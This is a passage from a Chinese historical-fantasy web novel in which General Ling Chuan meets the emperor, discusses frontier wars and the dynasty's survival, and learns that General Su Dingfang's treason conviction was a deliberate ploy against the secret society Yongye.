加之苏璃一家的悲惨遭遇,导致他对于当今圣上从无好感,甚至不止一次动过杀心。 可到了神都之后,种种迹象表面,陛下并非像传言中的那般昏聩,就像昨晚一直持续到中午的那场清洗,便充分展现出其铁血手腕。 可凌川实在想不明白,若对方真是一位德才兼备的帝王,又为何会将偌大的帝国治理成这副模样,又为何会残害忠良,将苏大将军这等帝国柱石处死? 第一卷 第469章 面圣 正当凌川思绪万千之际,刘恩赐迈着悄无声息的小碎步从殿内走出。 “凌将军,陛下宣您觐见!” “有劳公公!”凌川对其拱手一礼,随即整了整衣冠,深吸一口气,朝着那扇沉重的殿门走去。 养心殿外,身着金色明光铠的侍卫五步一岗,如同雕塑般肃立,锐利的目光扫视着四周,守卫得密不透风。 “将军,按宫中规矩,需得查验一番,得罪了!”两名金甲卫上前,语气虽客气,动作却不容置疑。 凌川坦然点头,张开双臂配合搜查,他本就未携带兵刃,两名侍卫也只是例行公事的检查一番后,便侧身让开通路。 凌川再次定了定神,迈步跨过那高大的门槛,步入养心殿内。 殿内首先给人的感觉是空旷而幽深,地面由打磨光滑的黑色金石铺就,映照出穹顶精美的藻井图案。 数根需两人合抱的朱红巨柱支撑着殿顶,柱上盘绕的金龙在宫灯照耀下鳞甲生辉,栩栩如生。 御案设于殿内深处的高台之上,背后是一面巨大的屏风,上面绣着万里江山图,气势磅礴。 两侧依墙而立着紫檀木书架,上面整齐码放着无数卷宗典籍,空气中弥漫着淡淡的墨香与龙涎香混合的气息,静谧而肃穆。 御案之后,一位身着玄色常服龙袍的中年男子正端坐于龙椅之上,手捧一本奏折,凝神细阅。 他,便是当今大周天子,周承渊。 皇帝看上去年约五旬,两鬓已染上些许霜白,面容算不得英俊,但眉眼间自有一股经年累月沉淀下来的威仪。 他的额头宽阔,鼻梁挺直,身形不算魁梧,甚至略显清瘦,但坐在那象征天下权柄的龙椅上,脊背挺直,自有一股稳如泰山的气度,却又被国事重担压得透不过气的、中规中矩的君王模样。 “北系军云州副将凌川,参见陛下!”凌川趋步上前,至御案下前方,依礼整理袍服,恭敬地行跪拜大礼。 皇帝闻言,缓缓抬起目光,落在凌川身上,声音平和却自带威严:“免礼,平身!” “谢陛下!”凌川这才起身,垂首而立,谨记着刘恩赐“不可直视圣颜”的叮嘱,目光落在御案前光可鉴人的金石地面上。 “赐座!”皇帝指了指左侧下首一张铺着软垫的太师椅。 凌川谢恩后,依言坐下,与庄严肃穆、百官朝拜的承天殿不同,这养心殿更像是皇帝处理日常政务、召见亲近臣子的地方,陈设虽华贵却不失雅致,两侧摆放着不少座椅。 凌川身姿挺拔如松,端坐于椅前半部分,静候圣谕。 很快,几名身着淡雅宫装的侍女悄步而入,将一盏清香四溢的御茶和几碟造型精巧、色泽诱人的糕点,轻轻放在凌川身旁的紫檀木小几上。 凌川用眼角余光小心地观察着皇帝,只见他放下手中奏折,眉宇间笼罩着一层化不开的凝重,时而以指节轻叩桌面,时而发出一声几不可闻的叹息,显然正被棘手国事所困扰。 “丁爻死了?”皇帝的声音平淡,似乎只是在说一件微不足道的小事。 “是!”凌川回答道。 “丁爻在廷尉府中的实力虽不及阎鹤诏,但自身也是八重境武修,若非昨晚受伤,这神都能杀他的人,还真不多!”皇帝缓缓抬起目光看向凌川,问道:“你觉得会是谁杀了他?” “臣简单查看了丁总督的尸体,是被人从背后一刀致命!”凌川顿了顿,说道:“至于是何人杀了他,臣也不知!” 凌川内心犹豫了一下,可还是没有把丁爻临死前攥在手里的那块玉牌交给皇帝。 因为他已经大致猜到这块玉牌的主人是谁,可他并不清楚这块玉牌为何会出现在丁爻手中,而眼下,自己并不知道皇帝是什么态度,贸然交出玉牌并非明智的选择。 “他是死在大和使团的手里!”皇帝语气平和,可声音却异常冷漠,眼神中更是带着深深的杀意。 凌川闻言顿时一惊,他没想到皇帝这么快就查出了结果,可他实在难以相信,大和使团竟如此大胆,敢在神都杀死皇帝的近臣。 而且,据他了解,大和使团中,雪姬公主那两名近卫也不过六重境,哪怕丁爻有伤在身,想要杀他也绝非易事,这其中肯定有自己所不知道的细节。 凌川猜测,他们敢对丁爻下手,要么是与神都的某股势力达成联盟,足矣与皇权对抗,要么是这支使团一开始就没想过活着回去,他们的任务就是将神都的局势搅乱,然后再以此为借口开战。 “陛下既然已经知晓,为何不下令抓人?”凌川问道。 “你看看这两封奏折!” 皇帝从御案上拿起两封单独放置的奏折,递给侍立在侧后的一名年轻太监,那太监双手接过,小心地放入一个紫檀木托盘,然后躬身端至凌川面前。 凌川双手接过奏折,却没有立即打开,而是面露惶恐,起身躬身道:“陛下,臣一介武夫,才疏学浅,且从未涉足朝政枢机,恐见识浅薄,难当此任……” 然而,皇帝却直接打断了他,语气中带着一丝不容置疑:“让你看,你便看!你有多少本事,难道朕还不清楚吗?” 凌川内心一阵苦笑,知道推脱不过,只得称是,重新坐下,深吸一口气,翻开了第一封奏折。 下一瞬间,凌川的目光猛然收缩,瞳孔微颤。 只见奏折之上,一行触目惊心的字迹赫然映入眼帘:‘大和帝国出动十万水师,直逼东海岸!’仅仅是这简短的一句,便让凌川的心神瞬间紧绷,仿佛听到了东海惊涛拍岸的巨响。 他屏住呼吸,强迫自己冷静下来,继续往下看。 奏折上的内容虽不冗长,但每一个字都仿佛重若千钧,数千艘悬挂着异国旗帜的战舰陈兵海上,十万大和水军虎视眈眈,虽未立刻发动进攻,但这支庞大的舰队本身,就如同一柄出鞘的利剑,冰冷地悬于帝国东疆的咽喉之上。 东疆水师已第一时间进入全面进入备战状态,并从沿海各州紧急抽调兵力,在漫长的海岸线上构筑第二道防线。 第一卷 第470章 帝心如渊 凌川深知,近些年来,这支来自岛国的势力迅速崛起,屡屡侵扰东疆沿海,烧杀抢掠,无恶不作,其行径之残暴,令人发指。 他们极其擅长水战,战舰轻便迅捷,使得以厚重沉稳见长的大周水师屡次追剿失利。 双方最近一次大规模交锋是在两年前的乌湖岛,东海水师精锐尽出,意图毕其功于一役,结果却遭遇惨败,数千战舰沉没,数万将士血染碧波,尸骸几乎覆盖了整片海域…… 此战之后,东海水师元气大伤,士气低迷,而大和水军则愈发猖獗,活动范围不断扩大,每次都从不同的地方登录,侵扰沿海百姓,而东疆水师只能疲于应付。 倒也不是东疆水师太废物,而是海岸线太长,谁也无法预料他们会从什么地方登录,而且,每次都是来去如风,很多时候都是东疆水师赶到的时候,敌人早就离开了。 大和帝国出动十万水军,直逼大周东海,其意图已是不言而喻,既是为使团谈判壮声势、施压,也暗藏着谈判不成便武力相胁的险恶用心。 也难怪他们敢毫无顾忌地杀死丁爻。 凌川强压下心中的波澜,缓缓打开了第二封奏折。 当看清这第二封奏折上的内容时,凌川只觉得一股寒意从脚底直冲天灵盖,两道剑眉险些倒竖起来,捧着奏章的双手不受控制地微微颤抖。 ‘十日前,胡羯出动两支精锐骑兵,自北疆东西两面同时奇袭蓟北原与玉门关,屠戮大周百姓上万人,数十座村镇化为焦土!’ 凌川用微微发颤的手指翻动奏章,后面详细记述了战况:胡羯南征军大将博尔术亲率一万铁骑,如狂风扫落叶般席卷了蓟北原,随后并不深入,反而就地安营扎寨,修筑工事,每日派出游骑骚扰试探,意图不明。 西线则是拓跋桀麾下另一员猛将兀烈,率五千精骑突袭西北门户玉门关,玉门关守将张嶷岳与麾下三千将士浴血奋战,舍命死守,虽然最终堪堪挡住了敌军的疯狂进攻,但三千守军几乎伤亡殆尽,玉门关城墙破损严重,岌岌可危。 凉州方面已火速抽调兵力驰援,然而胡羯方面也在不断增兵,摆出一副不拿下玉门关誓不罢休的架势。 凌川心里再清楚不过,玉门关作为西北第一雄关,背后便是连接西域与中原的战略通道——河西走廊,其重要性丝毫不亚于北疆的朝天垭与老龙口。 一旦玉门关失守,整个凉州将门户大开,无险可守。 甚至可以说,玉门关若破,半壁中原都将暴露在胡羯的铁蹄之下,万幸,玉门关暂时守住了!但兀烈并未退兵,反而在关外扎下营寨,修建防御工事,其真正意图,令人费解且不安。 忽然,一个念头如电光石火般划过凌川的脑海…… 从时间上推算,胡羯此次东西两线同时发难,极有可能是因为自己此前奇袭塔拉马场,劫走大量战马,彻底激怒了那位胡羯南征主帅拓跋桀,这是他所实施的、凶猛而直接的报复。 “都看完了?”就在这时,皇帝的声音再次传来,将凌川从纷乱的思绪中拉回现实。 凌川连忙合上奏章,起身恭敬答道:“回陛下,臣看完了!” “说说你的看法!”皇帝也放下了手中的朱笔,身体微微后靠,目光平静地看向凌川,等待着他的回答。 凌川举起那封关于东疆的奏折,略一沉吟,谨慎地开口道:“陛下,臣对东疆具体防务与水战并不熟悉,仅从现有情报推断,大和此次陈兵,意图不外乎两点:其一,是以武力为后盾,向我朝施加压力,企图在谈判中攫取更大利益,逼迫我朝让步!” 皇帝微微颔首,示意他继续,但并未出声打断。 凌川见状,深吸一口气,继续说道:“其二,若大和使团在谈判中未能如愿以偿,他们极有可能真的会图穷匕见,猛然发起进攻,以战逼和,甚至企图在东疆打开缺口!” 皇帝神色依旧平静,追问道:“你认为,仅凭大和这十万水军,便能攻破我东疆防线?” 凌川微微摇头:“若仅是大和一国十万水军,想要正面突破我朝经营多年的东疆防线,确非易事。但……”他话锋一转,语气变得更为凝重: “若他们联合百济、新罗、高丽乃至南海诸多与我朝若即若离的小国一同出兵,哪怕这些势力只是虚张声势,做做样子,也足以对我东疆水师形成巨大干扰,牵制我大量兵力与精力,使防线出现破绽。届时,大和水军集中兵力,未必不能撕开东疆防线!” “那你觉得,朝廷当下应当如何应对东疆之危?”皇帝直接抛出了最关键的问题。 “陛下,”凌川连忙躬身,言辞恳切,“此等军国大事,关乎国运,臣仅是依据有限信息凭空揣测,加之对东疆局势、水师布防、将领能力乃至钱粮调度皆一无所知,实在不敢妄言,恐贻误陛下圣断!” 他深知此事干系重大,自己一个边将,绝不可轻易对不熟悉的战区指手画脚,否则无论胜败,都可能引火烧身。 皇帝深邃的目光在他脸上停留片刻,倒也没有继续为难他,而是将视线转向他手中的另一封奏折,语气听不出喜怒:“东疆你既然不了解,那便说说北疆吧,这你总该熟悉了!” 凌川深吸一口气,胸中仿佛压着千斤重担,沉声应道:“回陛下,北疆战事再起,臣以为……臣有不可推卸之责!” “哦?”皇帝周承渊略显诧异地抬起眼帘,目光如古井无波,“此事与你有何关联?” “臣推测,这极可能是因臣此前突袭塔拉马场,劫掠胡羯战马,彻底激怒了拓跋桀,这才招致其疯狂报复……”凌川将奇袭塔拉马场的经过简明扼要地讲述了一遍。 尽管他心知肚明,这些细节恐怕早已通过廷尉府或军报呈于御前,但由他亲口说出,姿态与意义截然不同。 第一卷 第471章 五成 谁知,皇帝听后,竟随手将那本奏折往御案上一丢,发出啪的一声轻响,语气带着一丝难得的情绪波动:“荒谬!” 凌川一怔,脸上浮现出真实的茫然,不解陛下为何作此反应。 “你以为你不去劫他的马场,胡羯人就会安分守己,与我大周相安无事?”皇帝看着他,目光锐利如刀,仿佛要剖开他心中所想。 “他们此次不从正面强攻,反而采取东西两线袭扰的战术,恰恰说明,胡羯目前无论是兵力、粮草还是物资储备,都不足以支撑他们发动一场全面战争!至少,短期内绝无可能!” 听闻此言,凌川眼底瞬间掠过一抹难以掩饰的震惊。 仅凭前线传回的有限战报,便能一针见血地洞察到敌方战略意图背后的虚弱本质,这份敏锐的洞察力与战略眼光,莫说是一位深居九重宫阙的帝王,即便是许多久经沙场的老将,也未必能如此迅速地勘破虚实。 这愈发印证了凌川心中的那个猜测,当今陛下,绝非如外界传言或他以往所想的那般平庸,甚至可能恰恰相反。 果真是帝心如渊,常人难以看透,估计即便是朝堂之上那些常年陪伴在皇帝身旁的高官权臣,也未必真正看透过这位天子。 “凌川!”皇帝的声音将他从思绪中拉回,“朕问你,若要彻底解决这北境边患,你有何良策?” 此言一出,凌川心神剧震,这个问题看似简单直接,但其背后所涉及的重重因素,实在太过深远沉重。 他迅速收敛心神,强迫自己冷静下来,大脑以前所未有的速度运转、梳理。 他没有直接回答,反而深吸一口气,反问道:“那要看,陛下愿意给臣,或者说,愿意给大周……多少时间?” “哦?”这个反问显然出乎皇帝的意料,他身体微微前倾,眼中闪过一丝兴味,“此言何解?时间长短,有何区别?” 凌川略作停顿,理清思路,随即朗声开口,声音在空旷的养心殿内回荡:“若有二十年光景,可采取‘润物无声,内部瓦解’之策。胡羯与我大周体制迥异,其国乃由无数部落联盟而成,虽立国近三百年,但真正实现政令统一、王权稳固,也不过是近几十年拓跋皇族强势崛起后方才达成。且根据臣观察及多方情报,其内部早已出现不稳迹象。且不说那些长期遭受三大王族与十三部族压迫、盘剥的中小部落心怀怨怼,便是那几大部族之间,以及他们与拓跋皇族之间,也并非铁板一块,暗地里摩擦不断,皆有不服王化、觊觎权柄之心!” 他顿了顿,见皇帝听得专注,便继续阐述:“我朝可效仿古之纵横术,派遣精干谍子,或明或暗,联络、扶持那些对拓跋氏统治不满的部落首领,许以利诱,晓以利害,甚至提供少量物资支持,激化其内部矛盾,挑动其自相争斗。若能使其陷入长期内耗,我朝便可坐观其‘鹬蚌相争’。无论最终他们谁胜谁负,胡羯整体国力都必将元气大伤,届时,一个分裂、虚弱的胡羯,对我大周而言,将不再具有威胁,甚至将其灭掉也并非不可能!” 皇帝闻言,指尖在御案上无意识地轻轻敲击着,陷入了短暂的沉思,殿内只闻那规律的轻响。 片刻后,他抬手示意:“继续!” “若只有十年时间……”凌川话锋一转,语气变得凝重,“则需‘外修武备,内固根基’。我朝当倾尽全力,厉兵秣马,革新军制,大力锻造兵甲,改良军械,囤积粮草,同时整饬吏治,发展民生,积蓄国力。用十年来备战,倾举国之力,届时与胡羯决战,未必没有胜算!” 皇帝的目光骤然变得灼热,紧紧锁定凌川,“若朕将整个北系军交予你,你可能向朕保证,十年之后,必能率领北系军,打败胡羯帝国?” 听闻此言,凌川的心猛地一沉,再次陷入沉默,一股寒意沿着脊椎悄然爬升。 这是一个极其敏感且危险的问题,主帅易帜已是非同小可,更何况是庞大的北系军?陛下此言,究竟是真心询问战略可行性,还是在试探他是否有拥兵自重、滋生野心的苗头?他脑海中瞬间闪过无数念头,权衡着利弊与风险。 就在这电光石火间,他想起了入宫前刘恩赐那句看似随意,却意味深长的叮嘱,‘陛下若有所问,但以实对,切忌虚言’心一横,他决定赌一把,赌这位陛下要的是真话、是干才,而非只会阿谀奉承的庸臣。 他抬起头,目光坦然地迎向皇帝审视的眼神,声音清晰而平稳,不卑不亢:“回陛下,臣……不能保证!” 皇帝眼中闪过一丝极快的讶异,他见凌川前面分析得头头是道,言辞铿锵,本以为对方会信心满满地立下军令状,没想到得到的竟是这样一个答案。 皇帝身体微微前倾,带来的压迫感更强了几分,“那你告诉朕,若真给你十年时间,你有几成把握?” “回陛下,五成!”凌川回答得毫不犹豫。 “为何是五成?”皇帝追问,似乎想看清他是否在故作谨慎。 “只要战端未开,胜负未分,任何预测都只是预测!”凌川的回答带着军人特有的务实与冷静。 “战场之上,瞬息万变,天时、地利、人和、士气、粮草、乃至一丝运气,皆可影响战局。未战之前,言必胜是轻敌,言必败是怯懦。故,在臣看来,唯有五成。” 皇帝先是一愣,随即嘴角竟缓缓勾起一抹意味深长的笑意,但很快,这笑意便如冰雪消融般褪去,取而代之的是一声沉重的叹息:“只可惜……凌川啊,如今的大周,内忧外患,积重难返,别说十年,怕是连五年安稳时日……都等不起了啊。” 他抬起眼,目光如古潭深水,再次聚焦在凌川身上:“那么,若就以眼下这般局面,国库空虚,党争不休,四方不宁……你可能想出法子,解决掉这迫在眉睫的北疆之患?” 第一卷 第472章 送命题 凌川深深地吸了一口气,仿佛要将养心殿内那混合着墨香与龙涎香的沉重空气都吸入肺中,半晌,他才以一种近乎残酷的冷静口吻说道: “若必须以眼下这般残破局面,去解决北疆之患,臣以为,唯有不惜代价,以四十万北疆儿郎与拓跋桀的六十万南征军拼命,以必死的决心将敌军重创,唯有如此,方能为大周,勉强换来十年喘息之机!” 此言一出,就连身为九五之尊、见惯生死的皇帝,也不由得倒吸了一口凉气,瞳孔微微收缩。 四十万边军,那不是冰冷的数字,那是四十万个有血有肉、有父母妻儿、会哭会笑的鲜活生命。 是四十万份忠诚与热血,要用如此惨烈的代价,去换取区区十年未必安稳的太平?这个答案,残酷得让人心头发颤,脊背生寒。 然而,理智又冷酷地告诉他,若真到了种族存亡、社稷倾覆的最后关头,历史往往不会给予第二种更体面的选择。 养心殿内陷入了长时间的死寂,静得能听到烛火摇曳时灯芯爆开的轻微噼啪声,以及窗外远处隐约传来的更漏声。 皇帝周承渊靠在龙椅背上,双目微阖,手指无意识地在扶手的蟠龙雕刻上摩挲着,脸上满是疲惫与挣扎的痕迹。 凌川垂首而立,能清晰地感受到那无声的惊涛骇浪在君王心中翻涌。 不知过了多久,皇帝终于缓缓睁开双眼,那目光似乎穿透了殿宇的重重阻隔,望向了不可知的未来,他重新坐直身体,目光再次落在凌川身上,声音不高,却带着一种不容置疑的决断力,清晰地唤道: “凌川!” “臣在!”凌川心神一凛,立刻躬身应道。 “你觉得……”皇帝的声音平静无波,却字字如锤,敲打在凌川的心上,“我大周国祚,至今……尚余几年寿数?” “轰!” 此言一出,凌川只觉脑海中仿佛有惊雷炸响,瞬间一片空白,四肢百骸都在这一刻变得僵硬冰冷。 这是真正的送命题! 自古以来,妄议国祚,揣测国运,皆是臣子大忌,一言不慎,便是抄家灭族之祸。 他清楚看到身后那名一直侍立的年轻太监,身体不受控制地剧烈颤抖了一下,呼吸都为之停滞。 皇帝的目光宛如两柄经过千锤百炼、出鞘的绝世利剑,冰冷、锐利、洞彻人心,死死地锁定了他,不容他有丝毫闪躲。 在这目光的注视下,任何虚伪的言辞似乎都会无所遁形。 若是寻常臣子,此刻定然会匍匐在地,高呼‘大周国祚绵长,千秋万代’。 然而,就在这令人窒息的压迫感中,刘恩赐那句‘但以实对,切忌虚言’的叮嘱,再次如同警钟般在他心间敲响。 是选择稳妥的谀辞以求自保,还是赌上性命,说出自己基于现状的残酷判断? 电光石火间,凌川把心一横,做出了抉择。 他猛地抬起头,尽管额头上以肉眼可见的速度渗出细密而冰冷的汗珠,但他还是抱拳躬身,用尽全身力气,字字清晰,甚至带着一种破釜沉舟的铿锵,回答道: “臣以为,纵观天下大势,内察朝局国情……眼下之大周帝国,若不思锐意革新,奋力一搏……其国祚,恐……恐不足三年之数!” “噗通!” 那侍立的年轻太监脸色煞白,手指颤抖地指向凌川,尖厉的声音带着惊怒:“大……大胆凌川!你竟敢……” 话未说完,便被皇帝抬起的手掌稳稳制止,那只手带着不容置疑的威严,年轻太监立刻噤声,惶恐垂首。 皇帝周承渊的目光始终锁定在凌川脸上,深邃如渊,内里翻涌着震惊、审视、怒意,以及一丝难以察觉的认同。 凌川僵立原地,后背衣衫已被冷汗浸透,紧贴皮肤,一片冰凉,他甚至能听见自己沉重的心跳声,御书房内龙涎香馥郁沉凝,此刻却显得格外粘稠,压在肩头。 许久,皇帝长舒一口气,似认清了现实,又似接受了结果。 紧接着,他抛出一个更重的问题:“若将这天下比作一盘棋,让你来做棋手,你能将这死局盘活吗?” 凌川摇头,声音平稳:“回陛下,治国与对弈不可相提并论,棋盘上的棋子皆由我掌控,它们不会节外生枝,更不会阳奉阴违。” 皇帝微微颔首,指尖无意识敲击御案:“是这个道理,可在这朝堂之上,人人表面恭顺,私下却处处与朕作对,想着如何捞取好处,扩张权势……” 他眼中涌现深深无力:“放眼望去,个个都是忠臣模样,可真正可信的,却找不出几个!” 说着,他从御案拿起一本奏折,内容与黄千浒的手札一般无二,目光在折子与凌川之间移动,复杂难辨。 皇帝语调放缓,“你在北疆的作为,朕都了如指掌。你确是百年不世出的治世之才。” 他轻拍奏折:“你的《水舟论》如惊雷劈醒朕,你对‘修身齐家治国平天下’的阐释点醒天下读书人,你的《乾坤四训》更唤醒了世人血性!” 话语带着肯定,他微微一顿,目光灼灼:“你在望云关让老三带的话,朕收到了!你的意思,朕明白,但朕还是想当面问一句:你愿意救大周吗?” “陛下!”凌川起身抱拳,语气斩钉截铁:“臣还是那句话:若为救天下苍生,守护中原血脉,臣赴汤蹈火,万死不辞!但若只为巩固周氏皇权,恕臣办不到!” “若朕命令你呢?”皇帝眼神骤厉,威压如潮。 凌川身形如山,毫不避让:“恕臣办不到!” 这话如同惊雷再响,皇帝眼中怒火翻腾,第一次有人敢如此直面抗命!他死死盯着凌川,胸膛起伏,拳握指白。 时间在对峙中拉长,烛火噼啪声格外刺耳。 许久,皇帝眼中怒意缓缓退去,化为更深沉的疲惫与决断,他抬手挥退年轻太监。 待殿门无声合拢,皇帝起身,离开九龙御案,走到凌川身旁的椅子坐下。这一举动,无形拉近了距离,将剑拔弩张的君臣对峙,转为微妙近乎平等的对话姿态。 第一卷 第473章 苏定方一案的真相 养心殿内,烛火摇曳,将君臣二人的影子投映在冰冷的地砖上,拉得忽长忽短。檀香的气息在空气中静静弥漫,却驱不散那份几乎凝成实质的沉重。 皇帝周承渊的声音率先打破了这片令人窒息的寂静,他的语气异常平缓,却带着一种洞悉一切的穿透力:“朕知道,从你踏入这养心殿开始,便不止一次对朕动过杀意,想要为你岳父苏定方报仇。再要你忠于朕,实在是有些难为你了!” 凌川内心猛地一凛,后背瞬间沁出一层细密的冷汗。 他自认那几次杀意流露得极为隐晦,且转瞬即逝,不想竟被这位看似平静的帝王尽数捕捉。 他深吸一口气,不再回避,目光直直迎向皇帝,声音因压抑着翻涌的情绪而略显沙哑:“臣斗胆,问陛下一句,一年前,苏大将军……是否真的谋反?” 皇帝同样直视着他,眼神中并未刻意展现帝王的威压,只有一片近乎坦然的真诚。他缓缓地、清晰地摇了摇头,说道:“苏定方,从未有过异心!” “那他为何会被扣上谋反的滔天罪名?不仅苏家满门抄斩,他这位戍守南疆数十年、赤胆忠心的国之柱石,更被生生钉在历史的耻辱柱上,受天下人唾骂?” 凌川的声音不受控制地颤抖起来,尽管他极力克制,但那压抑已久的怒火与悲愤,依旧如岩浆般在字里行间奔涌。 皇帝将他的怒火尽收眼底,并未出言斥责或安抚,只是沉默着,用一种复杂的眼神等待他接下来的话。 凌川稳住气息,问出了那个最关键、最沉重的问题,每一个字都重若千钧:“臣,想问问陛下,苏大将军一案,最终定罪……是否是你亲自下的令?” “是!”皇帝的回答没有任何犹豫,干脆得令人心寒,“是朕下的令!” 这个答案,像一柄冰冷的铁锤,狠狠砸碎了凌川心中最后一丝残存的侥幸与幻想。 他曾无数次设想,这是以黄千浒为首的内阁权臣联合施压,皇帝不得已而为之;也曾怀疑是有人阳奉阴违,暗中篡改了圣意。 尽管此前蓝少堂与秦淮江等人曾隐晦提及,陛下最初或许只是想收回兵权,让苏定方得以善终,凌川内心深处并不全然相信。 但总归存着一丝微弱的希望,同时也充满了矛盾,若皇帝真是被逼无奈,或有难以言说的苦衷,自己是否还要执意向他清算? 可现在,皇帝亲口承认了,毫无推诿,斩钉截铁。 凌川连一个可以暂时逃避的理由都找不到了,他想起自己对苏璃的承诺,无论幕后黑手是谁,地位多高,他都必将一一清算,还苏家一个公道。 就在这时,皇帝的声音再度响起,带着一种沉重的疲惫和难以言喻的复杂情绪:“但,下这道命令,也并非是朕的本意。甚至可以说……是迫不得已!” 凌川眉头骤然锁紧,急声追问:“可是受黄千浒为首的文官集团逼迫?” 皇帝却缓缓摇头,吐出一个让凌川难以置信的答案:“逼迫我的不是他们,是苏定方!” “什么?”凌川几乎以为自己听错了,脑海中一片轰鸣。 苏定方自己逼迫皇帝,给自己定下谋反的罪名,再让皇帝下令抄家灭门?这简直是天方夜谭,荒谬至极!他的脸上写满了震惊与无法理解。 “朕知道你觉得难以置信,匪夷所思!”皇帝的目光依旧平静地看着他,带着一种叙述事实的坦然,“但这就是事实,事到如今,朕没必要骗你!” 凌川只感觉脑海中一片混乱,仿佛有无数线头纠缠在一起,理不清,扯不断。 在此之前,他做过无数种猜测,构想过各种阴谋与背叛,却唯独没有想过,真相竟会如此颠覆认知。 即便皇帝说得如此肯定,眼神也一片赤诚,他依旧觉得不可思议,难以接受。他的大脑飞速运转,试图找出这惊人话语背后的逻辑。 “你若想知道其中缘由,朕可以把真相告诉你!”皇帝看着他说道,语气平和,却带着千钧之重。 这真相背后,显然隐藏着更深的秘密与牺牲。 凌川需要时间消化这惊人的信息,他稳了稳心神,努力让声音听起来平静:“陛下,容臣……缓缓!” 皇帝缓缓站起身,玄色龙袍在烛光下泛着光泽,他拂了拂衣袍:“走吧,陪朕出去散散步!” 凌川依言起身,跟随皇帝走出承天殿。 此时夜色已深,墨蓝色的天幕上缀着疏星,月光清冷地洒在汉白玉栏杆上。 皇宫各处廊庑下悬挂的宫灯次第亮起,晕开一团团暖黄的光晕,却驱不散这深宫固有的清冷与肃穆。 凌川从随侍的年轻太监手中接过一盏精致的羊皮灯笼,刻意落后皇帝半步,既能为前方照亮道路,也恪守着臣子的本分,避免僭越之嫌。 随行的金甲卫训练有素,铠甲在寂静的夜里发出轻微而有节奏的碰撞声。 一队人迅速上前清道警戒,另一队则紧随其后护卫,步伐整齐划一。 更有不少气息内敛的暗卫隐在殿宇的阴影之中,檐角之后,无声地戒备着四周,仿佛与黑暗融为一体。 皇帝双手负在身后,步履看似从容,然而那微微佝偻的脊背,在朦胧的灯光下却显得格外清晰,仿佛被这万里江山、被无数难以言说的重担,一点点压弯了曾经的挺拔。 夜风吹动他鬓角的花白发丝,平添了几分沧桑。 两人沉默地走了一段,只有脚步声在空旷的宫道上回响。 皇帝忽然开口,声音在寂静的夜色中显得格外清晰:“你与苏璃去了奉英山祭拜,难道就没想过,为何那里只有苏定方夫妇的合葬墓,却不见其长子苏尧的坟茔?” 凌川闻言,身体猛地一顿,脚步下意识地停了下来,手中的灯笼也随之晃动,在地上投下摇曳的光影。 当日在奉英山,他全部心神都用在安抚悲痛欲绝的苏璃身上,加之后来黄千浒的突然出现搅乱了心绪,竟完全忽略了这一点! 第一卷 第474章 以身入局 此刻经皇帝一提,他才猛然惊觉这个不合常理的遗漏,一股寒意悄然爬上脊背。 与此同时,皇帝的话让他不由自主地想起了半年前在狼烽口,他与苏璃成亲的那个夜晚,那个出现在院中的神秘黑衣人。 尽管当时心中已有猜测,但苏璃从未主动提及,他便也体贴地未曾追问,可这话从皇帝口中说出来,显然他早已知晓。 皇帝没有等他回答,仿佛陷入了遥远的回忆,声音带着一丝缅怀与感伤,开始了漫长的叙述。 “苏家三朝忠烈,三朝大柱国,在朝堂之上的影响,无论是以黄千浒为首的内阁,还是齐清远为首的另一团体,都远远无法与之相比,他的母亲,乃是朕的亲姑姑,而我从小便与苏定方一起长大,十六岁那年,更是恳请父皇让我随他一起到边关战场……” “那时的南疆深受诸国侵犯之苦,战乱连连……从小深居皇宫、娇生惯养的我,哪里见过那种血腥场面,是他一直把我护在身后……” 皇帝轻叹了一口气,似乎是想起了久远的往事,继续说道:“那时,他便告诉我,他一生最大的愿望,就是平定南疆,最终,这个愿望在三年前得以达成!” 落后半步的凌川全程静静听着,皇帝继续说道:“我比谁都清楚,就算朝野上下所有人都反朕,但他苏定方一定会毫不犹豫地站在朕这一边,所以,当他平定南疆,并将南系军交付给长子苏尧之后,朕便想着将他召回朝堂,一来是见他年事已高,想让他回神都修养,再则是朝堂之上文官集团愈发坐大,急需一位位高权重的武将来制衡他们,他无疑是最适合的人选!” 皇帝所说的这些,都合情合理,虽然凌川不敢确定就一定为真,但至少逻辑上经得起推敲,可正因为如此,凌川才更加不解,到底是什么原因,让事情出现这样的转变。 “文官集团也必然是察觉到了朕此举背后的意图,所以,那段时间便在神都散播苏大将军拥兵自重,意图谋反的消息,更是传言,朕要夺了他的军权!原本朕想着,只要他回朝之后,一切谣言将不攻自破,然而,他还未抵达神都,便先让人通过廷尉府之手,将一封密信送到朕的手中,可信在廷尉府手中,却被人泄了密!” “泄密?”凌川神色一惊。 皇帝没有回头,只是点了点头,说道:“泄密之人是丁爻!” 凌川更为震惊,问道:“丁总督不是陛下安插在永夜的暗子吗?他怎么会?”凌川一脸的不可思议。 皇帝叹息道:“他是一枚双面碟子!” “他本是朕渗透进永夜的暗子,不曾想却被永夜识破,但永夜并未干掉他,而是选择让他做双面碟子!”皇帝继续说道:“但,他的泄密也在苏定方的计划之内!” 听到这里,凌川脸上的疑惑之色更浓了,甚至都听不懂皇帝在说什么,只能试着问道:“永夜到底是一个什么样的组织?” 皇帝脸色略显凝重,说道:“朕用了二十多年的时间,倾尽廷尉府和通天卫的所有力量对其展开追查,可迄今为止,得到的信息也并不多,也是在一年前才得知,他们的起源乃是前朝余孽,其宗旨是推翻大周的统治恢复大夏江山,只是在一代代权利交替中,逐渐发生了质变,虽依然与我大周朝廷作对,一直谋划着取而代之,可却已经没有人再提恢复大夏江山的事情!” “这个组织无孔不入、无处不在,他们距离成功推翻大周最近的一次,应该是一百年前,只可惜关键时刻,内部却出了问题,以至于所有计划彻底崩盘,但也正是因为如此,永夜这两个字,才被大周皇室所察觉!而眼下,正是他们又一次无限接近于成功的时候!” “而苏定方这些年,也一直在帮我调查永夜,他知道,想要一点点将他们挖出来难如登天,便决定以身入局,他知道,那封密信一定会被永夜知道,所以刻意在信中写下真假参半的情报,可以说,当他踏入神都的时候,那个计划便已经启动,而且,根本没有回旋的余地,因为他知道,朕若是得知这个计划,一定会阻止,所以他才会做得如此决绝!” 此时,凌川的内心已经麻木,他不知道皇帝所说的话是否可信,但这个消息对他而言,却足够震惊。 “你知道我为何非要把你召回神都授封吗?”皇帝忽然侧过脸看着他问道。 凌川摇头,表示自己不知道。 “你知道,只是不愿说而已!”皇帝笑了笑,说道:“确实,我召你回神都是想以此为引子,将永夜安插在朝堂上的那些牛鬼蛇神全部引出来,然后一网打尽!” “昨夜那场清洗,是苏定方一年前就已经布好的局,而朕不过是按照他的布局,落下这枚收官子!”皇帝淡淡说道。 “所以……永夜在神都的势力,已经被全部清除了吗?”凌川问道。 